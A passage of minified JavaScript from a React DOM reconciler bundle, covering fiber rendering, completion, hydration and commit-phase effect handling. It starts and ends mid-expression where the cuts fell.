4:ye(r,r.stateNode.containerInfo);break;case 10:Fr(r,r.type,r.memoizedProps.value);break;case 31:if(r.memoizedState!==null)return r.flags|=128,Um(r),null;break;case 13:var f=r.memoizedState;if(f!==null)return f.dehydrated!==null?(zr(r),r.flags|=128,null):(l&r.child.childLanes)!==0?c2(a,r,l):(zr(r),a=rr(a,r,l),a!==null?a.sibling:null);zr(r);break;case 19:var v=(a.flags&128)!==0;if(f=(l&r.childLanes)!==0,f||(ko(a,r,l,!1),f=(l&r.childLanes)!==0),v){if(f)return d2(a,r,l);r.flags|=128}if(v=r.memoizedState,v!==null&&(v.rendering=null,v.tail=null,v.lastEffect=null),q(fn,fn.current),f)break;return null;case 22:return r.lanes=0,a2(a,r,l,r.pendingProps);case 24:Fr(r,bn,a.memoizedState.cache)}return rr(a,r,l)}function f2(a,r,l){if(a!==null)if(a.memoizedProps!==r.pendingProps)Cn=!0;else{if(!xp(a,l)&&(r.flags&128)===0)return Cn=!1,E6(a,r,l);Cn=(a.flags&131072)!==0}else Cn=!1,vt&&(r.flags&1048576)!==0&&q1(r,ac,r.index);switch(r.lanes=0,r.tag){case 16:e:{var f=r.pendingProps;if(a=Fi(r.elementType),r.type=a,typeof a=="function")wm(a)?(f=zi(a,f),r.tag=1,r=o2(null,r,a,f,l)):(r.tag=0,r=cp(null,r,a,f,l));else{if(a!=null){var v=a.$$typeof;if(v===j){r.tag=11,r=e2(null,r,a,f,l);break e}else if(v===k){r.tag=14,r=t2(null,r,a,f,l);break e}}throw r=W(a)||a,Error(s(306,r,""))}}return r;case 0:return cp(a,r,r.type,r.pendingProps,l);case 1:return f=r.type,v=zi(f,r.pendingProps),o2(a,r,f,v,l);case 3:e:{if(ye(r,r.stateNode.containerInfo),a===null)throw Error(s(387));f=r.pendingProps;var b=r.memoizedState;v=b.element,Om(a,r),dc(r,f,null,l);var _=r.memoizedState;if(f=_.cache,Fr(r,bn,f),f!==b.cache&&Rm(r,[bn],l,!0),uc(),f=_.element,b.isDehydrated)if(b={element:f,isDehydrated:!1,cache:_.cache},r.updateQueue.baseState=b,r.memoizedState=b,r.flags&256){r=l2(a,r,f,l);break e}else if(f!==v){v=Ga(Error(s(424)),r),sc(v),r=l2(a,r,f,l);break e}else{switch(a=r.stateNode.containerInfo,a.nodeType){case 9:a=a.body;break;default:a=a.nodeName==="HTML"?a.ownerDocument.body:a}for(It=Qa(a.firstChild),Vn=r,vt=!0,Br=null,Xa=!0,l=ab(r,null,f,l),r.child=l;l;)l.flags=l.flags&-3|4096,l=l.sibling}else{if(_i(),f===v){r=rr(a,r,l);break e}In(a,r,f,l)}r=r.child}return r;case 26:return kd(a,r),a===null?(l=Sw(r.type,null,r.pendingProps,null))?r.memoizedState=l:vt||(l=r.type,a=r.pendingProps,f=Xd(we.current).createElement(l),f[Re]=r,f[Be]=a,Hn(f,l,a),Yt(f),r.stateNode=f):r.memoizedState=Sw(r.type,a.memoizedProps,r.pendingProps,a.memoizedState),null;case 27:return ke(r),a===null&&vt&&(f=r.stateNode=bw(r.type,r.pendingProps,we.current),Vn=r,Xa=!0,v=It,Kr(r.type)?(Xp=v,It=Qa(f.firstChild)):It=v),In(a,r,r.pendingProps.children,l),kd(a,r),a===null&&(r.flags|=4194304),r.child;case 5:return a===null&&vt&&((v=f=It)&&(f=tD(f,r.type,r.pendingProps,Xa),f!==null?(r.stateNode=f,Vn=r,It=Qa(f.firstChild),Xa=!1,v=!0):v=!1),v||Mr(r)),ke(r),v=r.type,b=r.pendingProps,_=a!==null?a.memoizedProps:null,f=b.children,qp(v,b)?f=null:_!==null&&qp(v,_)&&(r.flags|=32),r.memoizedState!==null&&(v=Hm(a,r,x6,null,null,l),_c._currentValue=v),kd(a,r),In(a,r,f,l),r.child;case 6:return a===null&&vt&&((a=l=It)&&(l=nD(l,r.pendingProps,Xa),l!==null?(r.stateNode=l,Vn=r,It=null,a=!0):a=!1),a||Mr(r)),null;case 13:return c2(a,r,l);case 4:return ye(r,r.stateNode.containerInfo),f=r.pendingProps,a===null?r.child=Li(r,null,f,l):In(a,r,f,l),r.child;case 11:return e2(a,r,r.type,r.pendingProps,l);case 7:return In(a,r,r.pendingProps,l),r.child;case 8:return In(a,r,r.pendingProps.children,l),r.child;case 12:return In(a,r,r.pendingProps.children,l),r.child;case 10:return f=r.pendingProps,Fr(r,r.type,f.value),In(a,r,f.children,l),r.child;case 9:return v=r.type._context,f=r.pendingProps.children,Bi(r),v=Un(v),f=f(v),r.flags|=1,In(a,r,f,l),r.child;case 14:return t2(a,r,r.type,r.pendingProps,l);case 15:return n2(a,r,r.type,r.pendingProps,l);case 19:return d2(a,r,l);case 31:return N6(a,r,l);case 22:return a2(a,r,l,r.pendingProps);case 24:return Bi(r),f=Un(bn),a===null?(v=Bm(),v===null&&(v=Ft,b=_m(),v.pooledCache=b,b.refCount++,b!==null&&(v.pooledCacheLanes|=l),v=b),r.memoizedState={parent:f,cache:v},Fm(r),Fr(r,bn,v)):((a.lanes&l)!==0&&(Om(a,r),dc(r,null,null,l),uc()),v=a.memoizedState,b=r.memoizedState,v.parent!==f?(v={parent:f,cache:f},r.memoizedState=v,r.lanes===0&&(r.memoizedState=r.updateQueue.baseState=v),Fr(r,bn,f)):(f=b.cache,Fr(r,bn,f),f!==v.cache&&Rm(r,[bn],l,!0))),In(a,r,r.pendingProps.children,l),r.child;case 29:throw r.pendingProps}throw Error(s(156,r.tag))}function ir(a){a.flags|=4}function gp(a,r,l,f,v){if((r=(a.mode&32)!==0)&&(r=!1),r){if(a.flags|=16777216,(v&335544128)===v)if(a.stateNode.complete)a.flags|=8192;else if(z2())a.flags|=8192;else throw Oi=gd,Mm}else a.flags&=-16777217}function h2(a,r){if(r.type!=="stylesheet"||(r.state.loading&4)!==0)a.flags&=-16777217;else if(a.flags|=16777216,!Tw(r))if(z2())a.flags|=8192;else throw Oi=gd,Mm}function Md(a,r){r!==null&&(a.flags|=4),a.flags&16384&&(r=a.tag!==22?vn():536870912,a.lanes|=r,qo|=r)}function gc(a,r){if(!vt)switch(a.tailMode){case"hidden":r=a.tail;for(var l=null;r!==null;)r.alternate!==null&&(l=r),r=r.sibling;l===null?a.tail=null:l.sibling=null;break;case"collapsed":l=a.tail;for(var f=null;l!==null;)l.alternate!==null&&(f=l),l=l.sibling;f===null?r||a.tail===null?a.tail=null:a.tail.sibling=null:f.sibling=null}}function Ht(a){var r=a.alternate!==null&&a.alternate.child===a.child,l=0,f=0;if(r)for(var v=a.child;v!==null;)l|=v.lanes|v.childLanes,f|=v.subtreeFlags&65011712,f|=v.flags&65011712,v.return=a,v=v.sibling;else for(v=a.child;v!==null;)l|=v.lanes|v.childLanes,f|=v.subtreeFlags,f|=v.flags,v.return=a,v=v.sibling;return a.subtreeFlags|=f,a.childLanes=l,r}function j6(a,r,l){var f=r.pendingProps;switch(Em(r),r.tag){case 16:case 15:case 0:case 11:case 7:case 8:case 12:case 9:case 14:return Ht(r),null;case 1:return Ht(r),null;case 3:return l=r.stateNode,f=null,a!==null&&(f=a.memoizedState.cache),r.memoizedState.cache!==f&&(r.flags|=2048),nr(bn),Oe(),l.pendingContext&&(l.context=l.pendingContext,l.pendingContext=null),(a===null||a.child===null)&&(_o(r)?ir(r):a===null||a.memoizedState.isDehydrated&&(r.flags&256)===0||(r.flags|=1024,Am())),Ht(r),null;case 26:var v=r.type,b=r.memoizedState;return a===null?(ir(r),b!==null?(Ht(r),h2(r,b)):(Ht(r),gp(r,v,null,f,l))):b?b!==a.memoizedState?(ir(r),Ht(r),h2(r,b)):(Ht(r),r.flags&=-16777217):(a=a.memoizedProps,a!==f&&ir(r),Ht(r),gp(r,v,a,f,l)),null;case 27:if($e(r),l=we.current,v=r.type,a!==null&&r.stateNode!=null)a.memoizedProps!==f&&ir(r);else{if(!f){if(r.stateNode===null)throw Error(s(166));return Ht(r),null}a=Y.current,_o(r)?G1(r):(a=bw(v,f,l),r.stateNode=a,ir(r))}return Ht(r),null;case 5:if($e(r),v=r.type,a!==null&&r.stateNode!=null)a.memoizedProps!==f&&ir(r);else{if(!f){if(r.stateNode===null)throw Error(s(166));return Ht(r),null}if(b=Y.current,_o(r))G1(r);else{var _=Xd(we.current);switch(b){case 1:b=_.createElementNS("http://www.w3.org/2000/svg",v);break;case 2:b=_.createElementNS("http://www.w3.org/1998/Math/MathML",v);break;default:switch(v){case"svg":b=_.createElementNS("http://www.w3.org/2000/svg",v);break;case"math":b=_.createElementNS("http://www.w3.org/1998/Math/MathML",v);break;case"script":b=_.createElement("div"),b.innerHTML="<script><\/script>",b=b.removeChild(b.firstChild);break;case"select":b=typeof f.is=="string"?_.createElement("select",{is:f.is}):_.createElement("select"),f.multiple?b.multiple=!0:f.size&&(b.size=f.size);break;default:b=typeof f.is=="string"?_.createElement(v,{is:f.is}):_.createElement(v)}}b[Re]=r,b[Be]=f;e:for(_=r.child;_!==null;){if(_.tag===5||_.tag===6)b.appendChild(_.stateNode);else if(_.tag!==4&&_.tag!==27&&_.child!==null){_.child.return=_,_=_.child;continue}if(_===r)break e;for(;_.sibling===null;){if(_.return===null||_.return===r)break e;_=_.return}_.sibling.return=_.return,_=_.sibling}r.stateNode=b;e:switch(Hn(b,v,f),v){case"button":case"input":case"select":case"textarea":f=!!f.autoFocus;break e;case"img":f=!0;break e;default:f=!1}f&&ir(r)}}return Ht(r),gp(r,r.type,a===null?null:a.memoizedProps,r.pendingProps,l),null;case 6:if(a&&r.stateNode!=null)a.memoizedProps!==f&&ir(r);else{if(typeof f!="string"&&r.stateNode===null)throw Error(s(166));if(a=we.current,_o(r)){if(a=r.stateNode,l=r.memoizedProps,f=null,v=Vn,v!==null)switch(v.tag){case 27:case 5:f=v.memoizedProps}a[Re]=r,a=!!(a.nodeValue===l||f!==null&&f.suppressHydrationWarning===!0||cw(a.nodeValue,l)),a||Mr(r,!0)}else a=Xd(a).createTextNode(f),a[Re]=r,r.stateNode=a}return Ht(r),null;case 31:if(l=r.memoizedState,a===null||a.memoizedState!==null){if(f=_o(r),l!==null){if(a===null){if(!f)throw Error(s(318));if(a=r.memoizedState,a=a!==null?a.dehydrated:null,!a)throw Error(s(557));a[Re]=r}else _i(),(r.flags&128)===0&&(r.memoizedState=null),r.flags|=4;Ht(r),a=!1}else l=Am(),a!==null&&a.memoizedState!==null&&(a.memoizedState.hydrationErrors=l),a=!0;if(!a)return r.flags&256?(Ta(r),r):(Ta(r),null);if((r.flags&128)!==0)throw Error(s(558))}return Ht(r),null;case 13:if(f=r.memoizedState,a===null||a.memoizedState!==null&&a.memoizedState.dehydrated!==null){if(v=_o(r),f!==null&&f.dehydrated!==null){if(a===null){if(!v)throw Error(s(318));if(v=r.memoizedState,v=v!==null?v.dehydrated:null,!v)throw Error(s(317));v[Re]=r}else _i(),(r.flags&128)===0&&(r.memoizedState=null),r.flags|=4;Ht(r),v=!1}else v=Am(),a!==null&&a.memoizedState!==null&&(a.memoizedState.hydrationErrors=v),v=!0;if(!v)return r.flags&256?(Ta(r),r):(Ta(r),null)}return Ta(r),(r.flags&128)!==0?(r.lanes=l,r):(l=f!==null,a=a!==null&&a.memoizedState!==null,l&&(f=r.child,v=null,f.alternate!==null&&f.alternate.memoizedState!==null&&f.alternate.memoizedState.cachePool!==null&&(v=f.alternate.memoizedState.cachePool.pool),b=null,f.memoizedState!==null&&f.memoizedState.cachePool!==null&&(b=f.memoizedState.cachePool.pool),b!==v&&(f.flags|=2048)),l!==a&&l&&(r.child.flags|=8192),Md(r,r.updateQueue),Ht(r),null);case 4:return Oe(),a===null&&zp(r.stateNode.containerInfo),Ht(r),null;case 10:return nr(r.type),Ht(r),null;case 19:if(P(fn),f=r.memoizedState,f===null)return Ht(r),null;if(v=(r.flags&128)!==0,b=f.rendering,b===null)if(v)gc(f,!1);else{if(on!==0||a!==null&&(a.flags&128)!==0)for(a=r.child;a!==null;){if(b=wd(a),b!==null){for(r.flags|=128,gc(f,!1),a=b.updateQueue,r.updateQueue=a,Md(r,a),r.subtreeFlags=0,a=l,l=r.child;l!==null;)U1(l,a),l=l.sibling;return q(fn,fn.current&1|2),vt&&er(r,f.treeForkCount),r.child}a=a.sibling}f.tail!==null&&be()>zd&&(r.flags|=128,v=!0,gc(f,!1),r.lanes=4194304)}else{if(!v)if(a=wd(b),a!==null){if(r.flags|=128,v=!0,a=a.updateQueue,r.updateQueue=a,Md(r,a),gc(f,!0),f.tail===null&&f.tailMode==="hidden"&&!b.alternate&&!vt)return Ht(r),null}else 2*be()-f.renderingStartTime>zd&&l!==536870912&&(r.flags|=128,v=!0,gc(f,!1),r.lanes=4194304);f.isBackwards?(b.sibling=r.child,r.child=b):(a=f.last,a!==null?a.sibling=b:r.child=b,f.last=b)}return f.tail!==null?(a=f.tail,f.rendering=a,f.tail=a.sibling,f.renderingStartTime=be(),a.sibling=null,l=fn.current,q(fn,v?l&1|2:l&1),vt&&er(r,f.treeForkCount),a):(Ht(r),null);case 22:case 23:return Ta(r),Vm(),f=r.memoizedState!==null,a!==null?a.memoizedState!==null!==f&&(r.flags|=8192):f&&(r.flags|=8192),f?(l&536870912)!==0&&(r.flags&128)===0&&(Ht(r),r.subtreeFlags&6&&(r.flags|=8192)):Ht(r),l=r.updateQueue,l!==null&&Md(r,l.retryQueue),l=null,a!==null&&a.memoizedState!==null&&a.memoizedState.cachePool!==null&&(l=a.memoizedState.cachePool.pool),f=null,r.memoizedState!==null&&r.memoizedState.cachePool!==null&&(f=r.memoizedState.cachePool.pool),f!==l&&(r.flags|=2048),a!==null&&P(Mi),null;case 24:return l=null,a!==null&&(l=a.memoizedState.cache),r.memoizedState.cache!==l&&(r.flags|=2048),nr(bn),Ht(r),null;case 25:return null;case 30:return null}throw Error(s(156,r.tag))}function A6(a,r){switch(Em(r),r.tag){case 1:return a=r.flags,a&65536?(r.flags=a&-65537|128,r):null;case 3:return nr(bn),Oe(),a=r.flags,(a&65536)!==0&&(a&128)===0?(r.flags=a&-65537|128,r):null;case 26:case 27:case 5:return $e(r),null;case 31:if(r.memoizedState!==null){if(Ta(r),r.alternate===null)throw Error(s(340));_i()}return a=r.flags,a&65536?(r.flags=a&-65537|128,r):null;case 13:if(Ta(r),a=r.memoizedState,a!==null&&a.dehydrated!==null){if(r.alternate===null)throw Error(s(340));_i()}return a=r.flags,a&65536?(r.flags=a&-65537|128,r):null;case 19:return P(fn),null;case 4:return Oe(),null;case 10:return nr(r.type),null;case 22:case 23:return Ta(r),Vm(),a!==null&&P(Mi),a=r.flags,a&65536?(r.flags=a&-65537|128,r):null;case 24:return nr(bn),null;case 25:return null;default:return null}}function m2(a,r){switch(Em(r),r.tag){case 3:nr(bn),Oe();break;case 26:case 27:case 5:$e(r);break;case 4:Oe();break;case 31:r.memoizedState!==null&&Ta(r);break;case 13:Ta(r);break;case 19:P(fn);break;case 10:nr(r.type);break;case 22:case 23:Ta(r),Vm(),a!==null&&P(Mi);break;case 24:nr(bn)}}function vc(a,r){try{var l=r.updateQueue,f=l!==null?l.lastEffect:null;if(f!==null){var v=f.next;l=v;do{if((l.tag&a)===a){f=void 0;var b=l.create,_=l.inst;f=b(),_.destroy=f}l=l.next}while(l!==v)}}catch(L){Dt(r,r.return,L)}}function Ur(a,r,l){try{var f=r.updateQueue,v=f!==null?f.lastEffect:null;if(v!==null){var b=v.next;f=b;do{if((f.tag&a)===a){var _=f.inst,L=_.destroy;if(L!==void 0){_.destroy=void 0,v=r;var X=l,ie=L;try{ie()}catch(pe){Dt(v,X,pe)}}}f=f.next}while(f!==b)}}catch(pe){Dt(r,r.return,pe)}}function p2(a){var r=a.updateQueue;if(r!==null){var l=a.stateNode;try{rb(r,l)}catch(f){Dt(a,a.return,f)}}}function x2(a,r,l){l.props=zi(a.type,a.memoizedProps),l.state=a.memoizedState;try{l.componentWillUnmount()}catch(f){Dt(a,r,f)}}function yc(a,r){try{var l=a.ref;if(l!==null){switch(a.tag){case 26:case 27:case 5:var f=a.stateNode;break;case 30:f=a.stateNode;break;default:f=a.stateNode}typeof l=="function"?a.refCleanup=l(f):l.current=f}}catch(v){Dt(a,r,v)}}function ks(a,r){var l=a.ref,f=a.refCleanup;if(l!==null)if(typeof f=="function")try{f()}catch(v){Dt(a,r,v)}finally{a.refCleanup=null,a=a.alternate,a!=null&&(a.refCleanup=null)}else if(typeof l=="function")try{l(null)}catch(v){Dt(a,r,v)}else l.current=null}function g2(a){var r=a.type,l=a.memoizedProps,f=a.stateNode;try{e:switch(r){case"button":case"input":case"select":case"textarea":l.autoFocus&&f.focus();break e;case"img":l.src?f.src=l.src:l.srcSet&&(f.srcset=l.srcSet)}}catch(v){Dt(a,a.return,v)}}function vp(a,r,l){try{var f=a.stateNode;X6(f,a.type,l,r),f[Be]=r}catch(v){Dt(a,a.return,v)}}function v2(a){return a.tag===5||a.tag===3||a.tag===26||a.tag===27&&Kr(a.type)||a.tag===4}function yp(a){e:for(;;){for(;a.sibling===null;){if(a.return===null||v2(a.return))return null;a=a.return}for(a.sibling.return=a.return,a=a.sibling;a.tag!==5&&a.tag!==6&&a.tag!==18;){if(a.tag===27&&Kr(a.type)||a.flags&2||a.child===null||a.tag===4)continue e;a.child.return=a,a=a.child}if(!(a.flags&2))return a.stateNode}}function bp(a,r,l){var f=a.tag;if(f===5||f===6)a=a.stateNode,r?(l.nodeType===9?l.body:l.nodeName==="HTML"?l.ownerDocument.body:l).insertBefore(a,r):(r=l.nodeType===9?l.body:l.nodeName==="HTML"?l.ownerDocument.body:l,r.appendChild(a),l=l._reactRootContainer,l!=null||r.onclick!==null||(r.onclick=Qs));else if(f!==4&&(f===27&&Kr(a.type)&&(l=a.stateNode,r=null),a=a.child,a!==null))for(bp(a,r,l),a=a.sibling;a!==null;)bp(a,r,l),a=a.sibling}function Fd(a,r,l){var f=a.tag;if(f===5||f===6)a=a.stateNode,r?l.insertBefore(a,r):l.appendChild(a);else if(f!==4&&(f===27&&Kr(a.type)&&(l=a.stateNode),a=a.child,a!==null))for(Fd(a,r,l),a=a.sibling;a!==null;)Fd(a,r,l),a=a.sibling}function y2(a){var r=a.stateNode,l=a.memoizedProps;try{for(var f=a.type,v=r.attributes;v.length;)r.removeAttributeNode(v[0]);Hn(r,f,l),r[Re]=a,r[Be]=l}catch(b){Dt(a,a.return,b)}}var or=!1,Sn=!1,wp=!1,b2=typeof WeakSet=="function"?WeakSet:Set,Fn=null;function T6(a,r){if(a=a.containerInfo,Ip=nf,a=k1(a),mm(a)){if("selectionStart"in a)var l={start:a.selectionStart,end:a.selectionEnd};else e:{l=(l=a.ownerDocument)&&l.defaultView||window;var f=l.getSelection&&l.getSelection();if(f&&f.rangeCount!==0){l=f.anchorNode;var v=f.anchorOffset,b=f.focusNode;f=f.focusOffset;try{l.nodeType,b.nodeType}catch{l=null;break e}var _=0,L=-1,X=-1,ie=0,pe=0,ve=a,oe=null;t:for(;;){for(var de;ve!==l||v!==0&&ve.nodeType!==3||(L=_+v),ve!==b||f!==0&&ve.nodeType!==3||(X=_+f),ve.nodeType===3&&(_+=ve.nodeValue.length),(de=ve.firstChild)!==null;)oe=ve,ve=de;for(;;){if(ve===a)break t;if(oe===l&&++ie===v&&(L=_),oe===b&&++pe===f&&(X=_),(de=ve.nextSibling)!==null)break;ve=oe,oe=ve.parentNode}ve=de}l=L===-1||X===-1?null:{start:L,end:X}}else l=null}l=l||{start:0,end:0}}else l=null;for(Hp={focusedElem:a,selectionRange:l},nf=!1,Fn=r;Fn!==null;)if(r=Fn,a=r.child,(r.subtreeFlags&1028)!==0&&a!==null)a.return=r,Fn=a;else for(;Fn!==null;){switch(r=Fn,b=r.alternate,a=r.flags,r.tag){case 0:if((a&4)!==0&&(a=r.updateQueue,a=a!==null?a.events:null,a!==null))for(l=0;l<a.length;l++)v=a[l],v.ref.impl=v.nextImpl;break;case 11:case 15:break;case 1:if((a&1024)!==0&&b!==null){a=void 0,l=r,v=b.memoizedProps,b=b.memoizedState,f=l.stateNode;try{var Pe=zi(l.type,v);a=f.getSnapshotBeforeUpdate(Pe,b),f.__reactInternalSnapshotBeforeUpdate=a}catch(Ke){Dt(l,l.return,Ke)}}break;case 3:if((a&1024)!==0){if(a=r.stateNode.containerInfo,l=a.nodeType,l===9)Gp(a);else if(l===1)switch(a.nodeName){case"HEAD":case"HTML":case"BODY":Gp(a);break;default:a.textContent=""}}break;case 5:case 26:case 27:case 6:case 4:case 17:break;default:if((a&1024)!==0)throw Error(s(163))}if(a=r.sibling,a!==null){a.return=r.return,Fn=a;break}Fn=r.return}}function w2(a,r,l){var f=l.flags;switch(l.tag){case 0:case 11:case 15:cr(a,l),f&4&&vc(5,l);break;case 1:if(cr(a,l),f&4)if(a=l.stateNode,r===null)try{a.componentDidMount()}catch(_){Dt(l,l.return,_)}else{var v=zi(l.type,r.memoizedProps);r=r.memoizedState;try{a.componentDidUpdate(v,r,a.__reactInternalSnapshotBeforeUpdate)}catch(_){Dt(l,l.return,_)}}f&64&&p2(l),f&512&&yc(l,l.return);break;case 3:if(cr(a,l),f&64&&(a=l.updateQueue,a!==null)){if(r=null,l.child!==null)switch(l.child.tag){case 27:case 5:r=l.child.stateNode;break;case 1:r=l.child.stateNode}try{rb(a,r)}catch(_){Dt(l,l.return,_)}}break;case 27:r===null&&f&4&&y2(l);case 26:case 5:cr(a,l),r===null&&f&4&&g2(l),f&512&&yc(l,l.return);break;case 12:cr(a,l);break;case 31:cr(a,l),f&4&&N2(a,l);break;case 13:cr(a,l),f&4&&E2(a,l),f&64&&(a=l.memoizedState,a!==null&&(a=a.dehydrated,a!==null&&(l=L6.bind(null,l),aD(a,l))));break;case 22:if(f=l.memoizedState!==null||or,!f){r=r!==null&&r.memoizedState!==null||Sn,v=or;var b=Sn;or=f,(Sn=r)&&!b?ur(a,l,(l.subtreeFlags&8772)!==0):cr(a,l),or=v,Sn=b}break;case 30:break;default:cr(a,l)}}function C2(a){var r=a.alternate;r!==null&&(a.alternate=null,C2(r)),a.child=null,a.deletions=null,a.sibling=null,a.tag===5&&(r=a.stateNode,r!==null&&os(r)),a.stateNode=null,a.return=null,a.dependencies=null,a.memoizedProps=null,a.memoizedState=null,a.pendingProps=null,a.stateNode=null,a.updateQueue=null}var Kt=null,da=!1;function lr(a,r,l){for(l=l.child;l!==null;)S2(a,r,l),l=l.sibling}function S2(a,r,l){if(Ut&&typeof Ut.onCommitFiberUnmount=="function")try{Ut.onCommitFiberUnmount(Yn,l)}catch{}switch(l.tag){case 26:Sn||ks(l,r),lr(a,r,l),l.memoizedState?l.memoizedState.count--:l.stateNode&&(l=l.stateNode,l.parentNode.removeChild(l));break;case 27:Sn||ks(l,r);var f=Kt,v=da;Kr(l.type)&&(Kt=l.stateNode,da=!1),lr(a,r,l),Tc(l.stateNode),Kt=f,da=v;break;case 5:Sn||ks(l,r);case 6:if(f=Kt,v=da,Kt=null,lr(a,r,l),Kt=f,da=v,Kt!==null)if(da)try{(Kt.nodeType===9?Kt.body:Kt.nodeName==="HTML"?Kt.ownerDocument.body:Kt).removeChild(l.stateNode)}catch(b){Dt(l,r,b)}else try{Kt.removeChild(l.stateNode)}catch(b){Dt(l,r,b)}break;case 18:Kt!==null&&(da?(a=Kt,pw(a.nodeType===9?a.body:a.nodeName==="HTML"?a.ownerDocument.body:a,l.stateNode),Zo(a)):pw(Kt,l.stateNode));break;case 4:f=Kt,v=da,Kt=l.stateNode.containerInfo,da=!0,lr(a,r,l),Kt=f,da=v;break;case 0:case 11:case 14:case 15:Ur(2,l,r),Sn||Ur(4,l,r),lr(a,r,l);break;case 1:Sn||(ks(l,r),f=l.stateNode,typeof f.componentWillUnmount=="function"&&x2(l,r,f)),lr(a,r,l);break;case 21:lr(a,r,l);break;case 22:Sn=(f=Sn)||l.memoizedState!==null,lr(a,r,l),Sn=f;break;default:lr(a,r,l)}}function N2(a,r){if(r.memoizedState===null&&(a=r.alternate,a!==null&&(a=a.memoizedState,a!==null))){a=a.dehydrated;try{Zo(a)}catch(l){Dt(r,r.return,l)}}}function E2(a,r){if(r.memoizedState===null&&(a=r.alternate,a!==null&&(a=a.memoizedState,a!==null&&(a=a.dehydrated,a!==null))))try{Zo(a)}catch(l){Dt(r,r.return,l)}}function D6(a){switch(a.tag){case 31:case 13:case 19:var r=a.stateNode;return r===null&&(r=a.stateNode=new b2),r;case 22:return a=a.stateNode,r=a._retryCache,r===null&&(r=a._retryCache=new b2),r;default:throw Error(s(435,a.tag))}}function Od(a,r){var l=D6(a);r.forEach(function(f){if(!l.has(f)){l.add(f);var v=P6.bind(null,a,f);f.then(v,v)}})}function fa(a,r){var l=r.deletions;if(l!==null)for(var f=0;f<l.length;f++){var v=l[f],b=a,_=r,L=_;e:for(;L!==null;){switch(L.tag){case 27:if(Kr(L.type)){Kt=L.stateNode,da=!1;break e}break;case 5:Kt=L.stateNode,da=!1;break e;case 3:case 4:Kt=L.stateNode.containerInfo,da=!0;break e}L=L.return}if(Kt===null)throw Error(s(160));S2(b,_,v),Kt=null,da=!1,b=v.alternate,b!==null&&(b.return=null),v.return=null}if(r.subtreeFlags&13886)for(r=r.child;r!==null;)j2(r,a),r=r.sibling}var us=null;function j2(a,r){var l=a.alternate,f=a.flags;switch(a.tag){case 0:case 11:case 14:case 15:fa(r,a),ha(a),f&4&&(Ur(3,a,a.return),vc(3,a),Ur(5,a,a.return));break;case 1:fa(r,a),ha(a),f&512&&(Sn||l===null||ks(l,l.return)),f&64&&or&&(a=a.updateQueue,a!==null&&(f=a.callbacks,f!==null&&(l=a.shared.hiddenCallbacks,a.shared.hiddenCallbacks=l===null?f:l.concat(f))));break;case 26:var v=us;if(fa(r,a),ha(a),f&512&&(Sn||l===null||ks(l,l.return)),f&4){var b=l!==null?l.memoizedState:null;if(f=a.memoizedState,l===null)if(f===null)if(a.stateNode===null){e:{f=a.type,l=a.memoizedProps,v=v.ownerDocument||v;t:switch(f){case"title":b=v.getElementsByTagName("title")[0],(!b||b[jt]||b[Re]||b.namespaceURI==="http://www.w3.org/2000/svg"||b.hasAttribute("itemprop"))&&(b=v.createElement(f),v.head.insertBefore(b,v.querySelector("head > title"))),Hn(b,f,l),b[Re]=a,Yt(b),f=b;break e;case"link":var _=jw("link","href",v).get(f+(l.href||""));if(_){for(var L=0;L<_.length;L++)if(b=_[L],b.getAttribute("href")===(l.href==null||l.href===""?null:l.href)&&b.getAttribute("rel")===(l.rel==null?null:l.rel)&&b.getAttribute("title")===(l.title==null?null:l.title)&&b.getAttribute("crossorigin")===(l.crossOrigin==null?null:l.crossOrigin)){_.splice(L,1);break t}}b=v.createElement(f),Hn(b,f,l),v.head.appendChild(b);break;case"meta":if(_=jw("meta","content",v).get(f+(l.content||""))){for(L=0;L<_.length;L++)if(b=_[L],b.getAttribute("content")===(l.content==null?null:""+l.content)&&b.getAttribute("name")===(l.name==null?null:l.name)&&b.getAttribute("property")===(l.property==null?null:l.property)&&b.getAttribute("http-equiv")===(l.httpEquiv==null?null:l.httpEquiv)&&b.getAttribute("charset")===(l.charSet==null?null:l.charSet)){_.splice(L,1);break t}}b=v.createElement(f),Hn(b,f,l),v.head.appendChild(b);break;default:throw Error(s(468,f))}b[Re]=a,Yt(b),f=b}a.stateNode=f}else Aw(v,a.type,a.stateNode);else a.stateNode=Ew(v,f,a.memoizedProps);else b!==f?(b===null?l.stateNode!==null&&(l=l.stateNode,l.parentNode.removeChild(l)):b.count--,f===null?Aw(v,a.type,a.stateNode):Ew(v,f,a.memoizedProps)):f===null&&a.stateNode!==null&&vp(a,a.memoizedProps,l.memoizedProps)}break;case 27:fa(r,a),ha(a),f&512&&(Sn||l===null||ks(l,l.return)),l!==null&&f&4&&vp(a,a.memoizedProps,l.memoizedProps);break;case 5:if(fa(r,a),ha(a),f&512&&(Sn||l===null||ks(l,l.return)),a.flags&32){v=a.stateNode;try{wo(v,"")}catch(Pe){Dt(a,a.return,Pe)}}f&4&&a.stateNode!=null&&(v=a.memoizedProps,vp(a,v,l!==null?l.memoizedProps:v)),f&1024&&(wp=!0);break;case 6:if(fa(r,a),ha(a),f&4){if(a.stateNode===null)throw Error(s(162));f=a.memoizedProps,l=a.stateNode;try{l.nodeValue=f}catch(Pe){Dt(a,a.return,Pe)}}break;case 3:if(Zd=null,v=us,us=Wd(r.containerInfo),fa(r,a),us=v,ha(a),f&4&&l!==null&&l.memoizedState.isDehydrated)try{Zo(r.containerInfo)}catch(Pe){Dt(a,a.return,Pe)}wp&&(wp=!1,A2(a));break;case 4:f=us,us=Wd(a.stateNode.containerInfo),fa(r,a),ha(a),us=f;break;case 12:fa(r,a),ha(a);break;case 31:fa(r,a),ha(a),f&4&&(f=a.updateQueue,f!==null&&(a.updateQueue=null,Od(a,f)));break;case 13:fa(r,a),ha(a),a.child.flags&8192&&a.memoizedState!==null!=(l!==null&&l.memoizedState!==null)&&(Pd=be()),f&4&&(f=a.updateQueue,f!==null&&(a.updateQueue=null,Od(a,f)));break;case 22:v=a.memoizedState!==null;var X=l!==null&&l.memoizedState!==null,ie=or,pe=Sn;if(or=ie||v,Sn=pe||X,fa(r,a),Sn=pe,or=ie,ha(a),f&8192)e:for(r=a.stateNode,r._visibility=v?r._visibility&-2:r._visibility|1,v&&(l===null||X||or||Sn||Vi(a)),l=null,r=a;;){if(r.tag===5||r.tag===26){if(l===null){X=l=r;try{if(b=X.stateNode,v)_=b.style,typeof _.setProperty=="function"?_.setProperty("display","none","important"):_.display="none";else{L=X.stateNode;var ve=X.memoizedProps.style,oe=ve!=null&&ve.hasOwnProperty("display")?ve.display:null;L.style.display=oe==null||typeof oe=="boolean"?"":(""+oe).trim()}}catch(Pe){Dt(X,X.return,Pe)}}}else 